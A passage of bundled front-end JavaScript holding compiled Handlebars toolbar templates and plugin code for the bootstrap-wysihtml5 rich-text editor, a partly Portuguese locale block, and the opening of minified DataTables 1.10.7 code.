data-dismiss=\\\"modal\\\">&times;</a>\\n          <h3>\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.image)),stack1 == null || stack1 === false ? stack1 : stack1.insert)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</h3>\\n        </div>\\n        <div class=\\\"modal-body\\\">\\n          <div class=\\\"form-group\\\">\\n            <input value=\\\"http://\\\" class=\\\"bootstrap-wysihtml5-insert-image-url form-control\\\" data-wysihtml5-dialog-field=\\\"src\\\">\\n          </div> \\n        </div>\\n        <div class=\\\"modal-footer\\\">\\n          <a class=\\\"btn btn-default\\\" data-dismiss=\\\"modal\\\" data-wysihtml5-dialog-action=\\\"cancel\\\" href=\\\"#\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.image)),stack1 == null || stack1 === false ? stack1 : stack1.cancel)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a>\\n          <a class=\\\"btn btn-primary\\\" data-dismiss=\\\"modal\\\"  data-wysihtml5-dialog-action=\\\"save\\\" href=\\\"#\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.image)),stack1 == null || stack1 === false ? stack1 : stack1.insert)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a>\\n        </div>\\n      </div>\\n    </div>\\n  </div>\\n  <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(3, program3, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"insertImage\\\" title=\\\"\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.image)),stack1 == null || stack1 === false ? stack1 : stack1.insert)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"\\\" tabindex=\\\"-1\\\">\\n    \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.fa), {hash:{},inverse:self.program(7, program7, data),fn:self.program(5, program5, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n  </a>\\n</li>\\n\";\n  return buffer;\n  });\n\nthis[\"wysihtml5\"][\"tpl\"][\"link\"] = Handlebars.template(function (Handlebars,depth0,helpers,partials,data) {\n  this.compilerInfo = [4,'>= 1.0.0'];\nhelpers = this.merge(helpers, Handlebars.helpers); data = data || {};\n  var buffer = \"\", stack1, functionType=\"function\", escapeExpression=this.escapeExpression, self=this;\n\nfunction program1(depth0,data) {\n  \n  \n  return \"modal-sm\";\n  }\n\nfunction program3(depth0,data) {\n  \n  var buffer = \"\", stack1;\n  buffer += \"btn-\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1));\n  return buffer;\n  }\n\nfunction program5(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"fa fa-share-square-o\\\"></span>\\n    \";\n  }\n\nfunction program7(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"glyphicon glyphicon-share\\\"></span>\\n    \";\n  }\n\n  buffer += \"<li>\\n  <div class=\\\"bootstrap-wysihtml5-insert-link-modal modal fade\\\" data-wysihtml5-dialog=\\\"createLink\\\">\\n    <div class=\\\"modal-dialog \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.smallmodals), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\\">\\n      <div class=\\\"modal-content\\\">\\n        <div class=\\\"modal-header\\\">\\n          <a class=\\\"close\\\" data-dismiss=\\\"modal\\\">&times;</a>\\n          <h3>\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.link)),stack1 == null || stack1 === false ? stack1 : stack1.insert)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</h3>\\n        </div>\\n        <div class=\\\"modal-body\\\">\\n          <div class=\\\"form-group\\\">\\n            <input value=\\\"http://\\\" class=\\\"bootstrap-wysihtml5-insert-link-url form-control\\\" data-wysihtml5-dialog-field=\\\"href\\\">\\n          </div> \\n          <div class=\\\"checkbox\\\">\\n            <label> \\n              <input type=\\\"checkbox\\\" class=\\\"bootstrap-wysihtml5-insert-link-target\\\" checked>\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.link)),stack1 == null || stack1 === false ? stack1 : stack1.target)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"\\n            </label>\\n          </div>\\n        </div>\\n        <div class=\\\"modal-footer\\\">\\n          <a class=\\\"btn btn-default\\\" data-dismiss=\\\"modal\\\" data-wysihtml5-dialog-action=\\\"cancel\\\" href=\\\"#\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.link)),stack1 == null || stack1 === false ? stack1 : stack1.cancel)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a>\\n          <a href=\\\"#\\\" class=\\\"btn btn-primary\\\" data-dismiss=\\\"modal\\\" data-wysihtml5-dialog-action=\\\"save\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.link)),stack1 == null || stack1 === false ? stack1 : stack1.insert)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a>\\n        </div>\\n      </div>\\n    </div>\\n  </div>\\n  <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(3, program3, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"createLink\\\" title=\\\"\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.link)),stack1 == null || stack1 === false ? stack1 : stack1.insert)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"\\\" tabindex=\\\"-1\\\">\\n    \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.fa), {hash:{},inverse:self.program(7, program7, data),fn:self.program(5, program5, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n  </a>\\n</li>\\n\";\n  return buffer;\n  });\n\nthis[\"wysihtml5\"][\"tpl\"][\"lists\"] = Handlebars.template(function (Handlebars,depth0,helpers,partials,data) {\n  this.compilerInfo = [4,'>= 1.0.0'];\nhelpers = this.merge(helpers, Handlebars.helpers); data = data || {};\n  var buffer = \"\", stack1, functionType=\"function\", escapeExpression=this.escapeExpression, self=this;\n\nfunction program1(depth0,data) {\n  \n  var buffer = \"\", stack1;\n  buffer += \"btn-\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1));\n  return buffer;\n  }\n\nfunction program3(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"fa fa-list-ul\\\"></span>\\n    \";\n  }\n\nfunction program5(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"glyphicon glyphicon-list\\\"></span>\\n    \";\n  }\n\nfunction program7(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"fa fa-list-ol\\\"></span>\\n    \";\n  }\n\nfunction program9(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"glyphicon glyphicon-th-list\\\"></span>\\n    \";\n  }\n\nfunction program11(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"fa fa-outdent\\\"></span>\\n    \";\n  }\n\nfunction program13(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"glyphicon glyphicon-indent-right\\\"></span>\\n    \";\n  }\n\nfunction program15(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"fa fa-indent\\\"></span>\\n    \";\n  }\n\nfunction program17(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"glyphicon glyphicon-indent-left\\\"></span>\\n    \";\n  }\n\n  buffer += \"<li>\\n  <div class=\\\"btn-group\\\">\\n    <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"insertUnorderedList\\\" title=\\\"\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.lists)),stack1 == null || stack1 === false ? stack1 : stack1.unordered)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"\\\" tabindex=\\\"-1\\\">\\n    \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.fa), {hash:{},inverse:self.program(5, program5, data),fn:self.program(3, program3, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n    </a>\\n    <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"insertOrderedList\\\" title=\\\"\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.lists)),stack1 == null || stack1 === false ? stack1 : stack1.ordered)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"\\\" tabindex=\\\"-1\\\">\\n    \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.fa), {hash:{},inverse:self.program(9, program9, data),fn:self.program(7, program7, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n    </a>\\n    <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"Outdent\\\" title=\\\"\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.lists)),stack1 == null || stack1 === false ? stack1 : stack1.outdent)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"\\\" tabindex=\\\"-1\\\">\\n    \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.fa), {hash:{},inverse:self.program(13, program13, data),fn:self.program(11, program11, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n    </a>\\n    <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"Indent\\\" title=\\\"\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.lists)),stack1 == null || stack1 === false ? stack1 : stack1.indent)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"\\\" tabindex=\\\"-1\\\">\\n    \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.fa), {hash:{},inverse:self.program(17, program17, data),fn:self.program(15, program15, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n    </a>\\n  </div>\\n</li>\\n\";\n  return buffer;\n  });(function (factory) {\n  'use strict';\n  if (typeof define === 'function' && define.amd) {\n    // AMD. Register as an anonymous module.\n    define('bootstrap.wysihtml5', ['jquery', 'wysihtml5', 'bootstrap', 'bootstrap.wysihtml5.templates', 'bootstrap.wysihtml5.commands'], factory);\n  } else {\n    // Browser globals\n    factory(jQuery, wysihtml5); // jshint ignore:line\n  }\n}(function ($, wysihtml5) {\n  'use strict';\n  var bsWysihtml5 = function($, wysihtml5) {\n\n    var templates = function(key, locale, options) {\n      if(wysihtml5.tpl[key]) {\n        return wysihtml5.tpl[key]({locale: locale, options: options});\n      }\n    };\n\n    var Wysihtml5 = function(el, options) {\n      this.el = el;\n      var toolbarOpts = $.extend(true, {}, defaultOptions, options);\n      for(var t in toolbarOpts.customTemplates) {\n        if (toolbarOpts.customTemplates.hasOwnProperty(t)) {\n          wysihtml5.tpl[t] = toolbarOpts.customTemplates[t];\n        }\n      }\n      this.toolbar = this.createToolbar(el, toolbarOpts);\n      this.editor =  this.createEditor(toolbarOpts);\n    };\n\n    Wysihtml5.prototype = {\n\n      constructor: Wysihtml5,\n\n      createEditor: function(options) {\n        options = options || {};\n\n        // Add the toolbar to a clone of the options object so multiple instances\n        // of the WYISYWG don't break because 'toolbar' is already defined\n        options = $.extend(true, {}, options);\n        options.toolbar = this.toolbar[0];\n        \n        this.initializeEditor(this.el[0], options);\n      },\n\n\n      initializeEditor: function(el, options) {\n        var editor = new wysihtml5.Editor(this.el[0], options);\n\n        editor.on('beforeload', this.syncBootstrapDialogEvents);\n        editor.on('beforeload', this.loadParserRules);\n\n        // #30 - body is in IE 10 not created by default, which leads to nullpointer\n        // 2014/02/13 - adapted to wysihtml5-0.4, does not work in IE\n        if(editor.composer.editableArea.contentDocument) {\n          this.addMoreShortcuts(editor, \n                                editor.composer.editableArea.contentDocument.body || editor.composer.editableArea.contentDocument, \n                                options.shortcuts);\n        } else {\n          this.addMoreShortcuts(editor, editor.composer.editableArea, options.shortcuts);    \n        }\n\n        if(options && options.events) {\n          for(var eventName in options.events) {\n            if (options.events.hasOwnProperty(eventName)) {\n              editor.on(eventName, options.events[eventName]);\n            }\n          }\n        }\n\n        return editor;\n      },\n\n      loadParserRules: function() {\n        if($.type(this.config.parserRules) === 'string') {\n          $.ajax({\n            dataType: 'json',\n            url: this.config.parserRules,\n            context: this,\n            error: function (jqXHR, textStatus, errorThrown) {\n              console.log(errorThrown);\n            },\n            success: function (parserRules) {\n              this.config.parserRules = parserRules;\n              console.log('parserrules loaded');\n            }\n          });\n        }\n\n        if(this.config.pasteParserRulesets && $.type(this.config.pasteParserRulesets) === 'string') {\n          $.ajax({\n            dataType: 'json',\n            url: this.config.pasteParserRulesets,\n            context: this,\n            error: function (jqXHR, textStatus, errorThrown) {\n              console.log(errorThrown);\n            },\n            success: function (pasteParserRulesets) {\n              this.config.pasteParserRulesets = pasteParserRulesets;\n            }\n          });\n        }\n      },\n\n      //sync wysihtml5 events for dialogs with bootstrap events\n      syncBootstrapDialogEvents: function() {\n        var editor = this;\n        $.map(this.toolbar.commandMapping, function(value) {\n          return [value];\n        }).filter(function(commandObj) {\n          return commandObj.dialog;\n        }).map(function(commandObj) {\n          return commandObj.dialog;\n        }).forEach(function(dialog) {\n          dialog.on('show', function() {\n            $(this.container).modal('show');\n          });\n          dialog.on('hide', function() {\n            $(this.container).modal('hide');\n            setTimeout(editor.composer.focus, 0);\n          });\n          $(dialog.container).on('shown.bs.modal', function () {\n            $(this).find('input, select, textarea').first().focus();\n          });\n        });\n        this.on('change_view', function() {\n          $(this.toolbar.container.children).find('a.btn').not('[data-wysihtml5-action=\"change_view\"]').toggleClass('disabled');\n        });\n      },\n\n      createToolbar: function(el, options) {\n        var self = this;\n        var toolbar = $('<ul/>', {\n          'class' : 'wysihtml5-toolbar',\n          'style': 'display:none'\n        });\n        var culture = options.locale || defaultOptions.locale || 'en';\n        if(!locale.hasOwnProperty(culture)) {\n          console.debug('Locale \\'' + culture + '\\' not found. Available locales are: ' + Object.keys(locale) + '. Falling back to \\'en\\'.');\n          culture = 'en';\n        }\n        var localeObject = $.extend(true, {}, locale.en, locale[culture]);\n        for(var key in options.toolbar) {\n          if(options.toolbar[key]) {\n            toolbar.append(templates(key, localeObject, options));\n          }\n        }\n\n        toolbar.find('a[data-wysihtml5-command=\"formatBlock\"]').click(function(e) {\n          var target = e.delegateTarget || e.target || e.srcElement,\n          el = $(target),\n          showformat = el.data('wysihtml5-display-format-name'),\n          formatname = el.data('wysihtml5-format-name') || el.html();\n          if(showformat === undefined || showformat === 'true') {\n            self.toolbar.find('.current-font').text(formatname);\n          }\n        });\n\n        toolbar.find('a[data-wysihtml5-command=\"foreColor\"]').click(function(e) {\n          var target = e.target || e.srcElement;\n          var el = $(target);\n          self.toolbar.find('.current-color').text(el.html());\n        });\n\n        this.el.before(toolbar);\n\n        return toolbar;\n      },\n\n      addMoreShortcuts: function(editor, el, shortcuts) {\n        /* some additional shortcuts */\n        wysihtml5.dom.observe(el, 'keydown', function(event) {\n          var keyCode  = event.keyCode,\n          command  = shortcuts[keyCode];\n          if ((event.ctrlKey || event.metaKey || event.altKey) && command && wysihtml5.commands[command]) {\n            var commandObj = editor.toolbar.commandMapping[command + ':null'];\n            if (commandObj && commandObj.dialog && !commandObj.state) {\n              commandObj.dialog.show();\n            } else {\n              wysihtml5.commands[command].exec(editor.composer, command);\n            }\n            event.preventDefault();\n          }\n        });\n      }\n    };\n\n    // these define our public api\n    var methods = {\n      resetDefaults: function() {\n        $.fn.wysihtml5.defaultOptions = $.extend(true, {}, $.fn.wysihtml5.defaultOptionsCache);\n      },\n      bypassDefaults: function(options) {\n        return this.each(function () {\n          var $this = $(this);\n          $this.data('wysihtml5', new Wysihtml5($this, options));\n        });\n      },\n      shallowExtend: function (options) {\n        var settings = $.extend({}, $.fn.wysihtml5.defaultOptions, options || {}, $(this).data());\n        var that = this;\n        return methods.bypassDefaults.apply(that, [settings]);\n      },\n      deepExtend: function(options) {\n        var settings = $.extend(true, {}, $.fn.wysihtml5.defaultOptions, options || {});\n        var that = this;\n        return methods.bypassDefaults.apply(that, [settings]);\n      },\n      init: function(options) {\n        var that = this;\n        return methods.shallowExtend.apply(that, [options]);\n      }\n    };\n\n    $.fn.wysihtml5 = function ( method ) {\n      if ( methods[method] ) {\n        return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 ));\n      } else if ( typeof method === 'object' || ! method ) {\n        return methods.init.apply( this, arguments );\n      } else {\n        $.error( 'Method ' +  method + ' does not exist on jQuery.wysihtml5' );\n      }    \n    };\n\n    $.fn.wysihtml5.Constructor = Wysihtml5;\n\n    var defaultOptions = $.fn.wysihtml5.defaultOptions = {\n      toolbar: {\n        'font-styles': true,\n        'color': false,\n        'emphasis': {\n          'small': true\n        },\n        'blockquote': true,\n        'lists': true,\n        'html': false,\n        'link': true,\n        'image': true,\n        'smallmodals': false\n      },\n      useLineBreaks: false,\n      parserRules: {\n        classes: {\n          'wysiwyg-color-silver' : 1,\n          'wysiwyg-color-gray' : 1,\n          'wysiwyg-color-white' : 1,\n          'wysiwyg-color-maroon' : 1,\n          'wysiwyg-color-red' : 1,\n          'wysiwyg-color-purple' : 1,\n          'wysiwyg-color-fuchsia' : 1,\n          'wysiwyg-color-green' : 1,\n          'wysiwyg-color-lime' : 1,\n          'wysiwyg-color-olive' : 1,\n          'wysiwyg-color-yellow' : 1,\n          'wysiwyg-color-navy' : 1,\n          'wysiwyg-color-blue' : 1,\n          'wysiwyg-color-teal' : 1,\n          'wysiwyg-color-aqua' : 1,\n          'wysiwyg-color-orange' : 1\n        },\n        tags: {\n          'b':  {},\n          'i':  {},\n          'strong': {},\n          'em': {},\n          'p': {},\n          'br': {},\n          'ol': {},\n          'ul': {},\n          'li': {},\n          'h1': {},\n          'h2': {},\n          'h3': {},\n          'h4': {},\n          'h5': {},\n          'h6': {},\n          'blockquote': {},\n          'u': 1,\n          'img': {\n            'check_attributes': {\n              'width': 'numbers',\n              'alt': 'alt',\n              'src': 'url',\n              'height': 'numbers'\n            }\n          },\n          'a':  {\n            'check_attributes': {\n              'href': 'url'\n            },\n            'set_attributes': {\n              'target': '_blank',\n              'rel': 'nofollow'\n            }\n          },\n          'span': 1,\n          'div': 1,\n          'small': 1,\n          'code': 1,\n          'pre': 1\n        }\n      },\n      locale: 'en',\n      shortcuts: {\n        '83': 'small',// S\n        '75': 'createLink'// K\n      }\n    };\n\n    if (typeof $.fn.wysihtml5.defaultOptionsCache === 'undefined') {\n      $.fn.wysihtml5.defaultOptionsCache = $.extend(true, {}, $.fn.wysihtml5.defaultOptions);\n    }\n\n    var locale = $.fn.wysihtml5.locale = {};\n  };\n  bsWysihtml5($, wysihtml5);\n}));\n(function(wysihtml5) {\n  wysihtml5.commands.small = {\n    exec: function(composer, command) {\n      return wysihtml5.commands.formatInline.exec(composer, command, \"small\");\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatInline.state(composer, command, \"small\");\n    }\n  };\n})(wysihtml5);\n\n/**\n * English translation for bootstrap-wysihtml5\n */\n(function (factory) {\n    if (typeof define === 'function' && define.amd) {\n        // AMD. Register as an anonymous module.\n        define('bootstrap.wysihtml5.en-US', ['jquery', 'bootstrap.wysihtml5'], factory);\n    } else {\n        // Browser globals\n        factory(jQuery);\n    }\n}(function ($) {\n  $.fn.wysihtml5.locale.en = $.fn.wysihtml5.locale['en-US'] = {\n    font_styles: {\n      normal: 'Tipo de texto',\n      h1: 'Heading 1',\n      h2: 'Heading 2',\n      h3: 'Heading 3',\n      h4: 'Heading 4',\n      h5: 'Heading 5',\n      h6: 'Heading 6'\n    },\n    emphasis: {\n      bold: 'Bold',\n      italic: 'Italic',\n      underline: 'Underline',\n      small: 'Small'\n    },\n    lists: {\n      unordered: 'Unordered list',\n      ordered: 'Ordered list',\n      outdent: 'Outdent',\n      indent: 'Indent'\n    },\n    link: {\n      insert: 'Inserir link',\n      cancel: 'Cancelar',\n      target: 'Abrir link em nova janela'\n    },\n    image: {\n      insert: 'Inserir imagem',\n      cancel: 'Cancelar'\n    },\n    html: {\n      edit: 'Editar HTML'\n    },\n    colours: {\n      black: 'Black',\n      silver: 'Silver',\n      gray: 'Grey',\n      maroon: 'Maroon',\n      red: 'Red',\n      purple: 'Purple',\n      green: 'Green',\n      olive: 'Olive',\n      navy: 'Navy',\n      blue: 'Blue',\n      orange: 'Orange'\n    }\n  };\n}));\n","/*! DataTables 1.10.7\n * ©2008-2015 SpryMedia Ltd - datatables.net/license\n */\n(function(Ea,Q,k){var P=function(h){function W(a){var b,c,e={};h.each(a,function(d){if((b=d.match(/^([^A-Z]+?)([A-Z])/))&&-1!==\"a aa ai ao as b fn i m o s \".indexOf(b[1]+\" \"))c=d.replace(b[0],b[2].toLowerCase()),e[c]=d,\"o\"===b[1]&&W(a[d])});a._hungarianMap=e}function H(a,b,c){a._hungarianMap||W(a);var e;h.each(b,function(d){e=a._hungarianMap[d];if(e!==k&&(c||b[e]===k))\"o\"===e.charAt(0)?(b[e]||(b[e]={}),h.extend(!0,b[e],b[d]),H(a[e],b[e],c)):b[e]=b[d]})}function P(a){var b=m.defaults.oLanguage,c=a.sZeroRecords;\n!a.sEmptyTable&&(c&&\"No data available in table\"===b.sEmptyTable)&&E(a,a,\"sZeroRecords\",\"sEmptyTable\");!a.sLoadingRecords&&(c&&\"Loading...\"===b.sLoadingRecords)&&E(a,a,\"sZeroRecords\",\"sLoadingRecords\");a.sInfoThousands&&(a.sThousands=a.sInfoThousands);(a=a.sDecimal)&&db(a)}function eb(a){A(a,\"ordering\",\"bSort\");A(a,\"orderMulti\",\"bSortMulti\");A(a,\"orderClasses\",\"bSortClasses\");A(a,\"orderCellsTop\",\"bSortCellsTop\");A(a,\"order\",\"aaSorting\");A(a,\"orderFixed\",\"aaSortingFixed\");A(a,\"paging\",\"bPaginate\");\nA(a,\"pagingType\",\"sPaginationType\");A(a,\"pageLength\",\"iDisplayLength\");A(a,\"searching\",\"bFilter\");if(a=a.aoSearchCols)for(var b=0,c=a.length;b<c;b++)a[b]&&H(m.models.oSearch,a[b])}function fb(a){A(a,\"orderable\",\"bSortable\");A(a,\"orderData\",\"aDataSort\");A(a,\"orderSequence\",\"asSorting\");A(a,\"orderDataType\",\"sortDataType\");var b=a.aDataSort;b&&!h.isArray(b)&&(a.aDataSort=[b])}function gb(a){var a=a.oBrowser,b=h(\"<div/>\").css({position:\"absolute\",top:0,left:0,height:1,width:1,overflow:\"hidden\"}).append(h(\"<div/>\").css({position:\"absolute\",\ntop:1,left:1,width:100,overflow:\"scroll\"}).append(h('<div class=\"test\"/>').css({width:\"100%\",height:10}))).appendTo(\"body\"),c=b.find(\".test\");a.bScrollOversize=100===c[0].offsetWidth;a.bScrollbarLeft=1!==Math.round(c.offset().left);b.remove()}function hb(a,b,c,e,d,f){var g,j=!1;c!==k&&(g=c,j=!0);for(;e!==d;)a.hasOwnProperty(e)&&(g=j?b(g,a[e],e,a):a[e],j=!0,e+=f);return g}function Fa(a,b){var c=m.defaults.column,e=a.aoColumns.length,c=h.extend({},m.models.oColumn,c,{nTh:b?b:Q.createElement(\"th\"),sTitle:c.sTitle?\nc.sTitle:b?b.innerHTML:\"\",aDataSort:c.aDataSort?c.aDataSort:[e],mData:c.mData?c.mData:e,idx:e});a.aoColumns.push(c);c=a.aoPreSearchCols;c[e]=h.extend({},m.models.oSearch,c[e]);ka(a,e,h(b).data())}function ka(a,b,c){var b=a.aoColumns[b],e=a.oClasses,d=h(b.nTh);if(!b.sWidthOrig){b.sWidthOrig=d.attr(\"width\")||null;var f=(d.attr(\"style\")||\"\").match(/width:\\s*(\\d+[pxem%]+)/);f&&(b.sWidthOrig=f[1])}c!==k&&null!==c&&(fb(c),H(m.defaults.column,c),c.mDataProp!==k&&!c.mData&&(c.mData=c.mDataProp),c.sType&&\n(b._sManualType=c.sType),c.className&&!c.sClass&&(c.sClass=c.className),h.extend(b,c),E(b,c,\"sWidth\",\"sWidthOrig\"),c.iDataSort!==k&&(b.aDataSort=[c.iDataSort]),E(b,c,\"aDataSort\"));var g=b.mData,j=R(g),i=b.mRender?R(b.mRender):null,c=function(a){return\"string\"===typeof a&&-1!==a.indexOf(\"@\")};b._bAttrSrc=h.isPlainObject(g)&&(c(g.sort)||c(g.type)||c(g.filter));b.fnGetData=function(a,b,c){var e=j(a,b,k,c);return i&&b?i(e,b,a,c):e};b.fnSetData=function(a,b,c){return S(g)(a,b,c)};\"number\"!==typeof g&&\n(a._rowReadObject=!0);a.oFeatures.bSort||(b.bSortable=!1,d.addClass(e.sSortableNone));a=-1!==h.inArray(\"asc\",b.asSorting);c=-1!==h.inArray(\"desc\",b.asSorting);!b.bSortable||!a&&!c?(b.sSortingClass=e.sSortableNone,b.sSortingClassJUI=\"\"):a&&!c?(b.sSortingClass=e.sSortableAsc,b.sSortingClassJUI=e.sSortJUIAscAllowed):!a&&c?(b.sSortingClass=e.sSortableDesc,b.sSortingClassJUI=e.sSortJUIDescAllowed):(b.sSortingClass=e.sSortable,b.sSortingClassJUI=e.sSortJUI)}function X(a){if(!1!==a.oFeatures.bAutoWidth){var b=\na.aoColumns;Ga(a);for(var c=0,e=b.length;c<e;c++)b[c].nTh.style.width=b[c].sWidth}b=a.oScroll;(\"\"!==b.sY||\"\"!==b.sX)&&Y(a);w(a,null,\"column-sizing\",[a])}function la(a,b){var c=Z(a,\"bVisible\");return\"number\"===typeof c[b]?c[b]:null}function $(a,b){var 